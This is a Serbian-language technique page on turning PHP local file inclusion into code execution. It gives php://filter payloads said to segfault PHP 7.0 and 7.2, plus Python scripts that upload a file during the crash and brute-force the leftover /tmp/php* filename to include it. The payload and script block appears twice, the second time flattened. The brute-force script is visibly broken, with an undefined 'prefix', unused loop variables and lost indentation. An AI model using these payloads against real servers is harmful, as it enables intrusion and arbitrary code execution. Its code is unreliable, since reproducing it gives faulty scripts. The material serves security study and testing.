LFI2RCE via Segmentation Fault

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Prema writeup-ovima https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (drugi deo) i https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view, sledeći payload-i su izazvali prekid segmentacije u PHP-u:

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Treba da znate da ako pošaljete POST zahtev koji sadrži fajl, PHP će kreirati privremeni fajl u /tmp/php<nešto> sa sadržajem tog fajla. Ovaj fajl će biti automatski obrisan nakon što je zahtev obrađen.

Ako pronađete LFI i uspete da izazovete grešku segmentacije u PHP-u, privremeni fajl neće biti obrisan. Zbog toga možete da ga tražite sa LFI ranjivošću dok ga ne pronađete i izvršite proizvoljni kod.

Možete koristiti docker sliku https://hub.docker.com/r/easyengine/php7.0 za testiranje.

# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()

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Last updated 4 months ago

// PHP 7.0 include("php://filter/string.strip_tags/resource=/etc/passwd"); // PHP 7.2 include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

# upload file with segmentation fault import requests url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd" files = {'file': open('la.php','rb')} response = requests.post(url, files=files) # Search for the file (improve this with threads) import requests import string import threading charset = string.ascii_letters + string.digits host = "127.0.0.1" port = 80 base_url = "http://%s:%d" % (host, port) def bruteforce(charset): for i in charset: for j in charset: for k in charset: for l in charset: for m in charset: for n in charset: filename = prefix + i + j + k url = "%s/index.php?i=/tmp/php%s" % (base_url, filename) print url response = requests.get(url) if 'spyd3r' in response.content: print "[+] Include success!" return True def main(): bruteforce(charset) if __name__ == "__main__": main()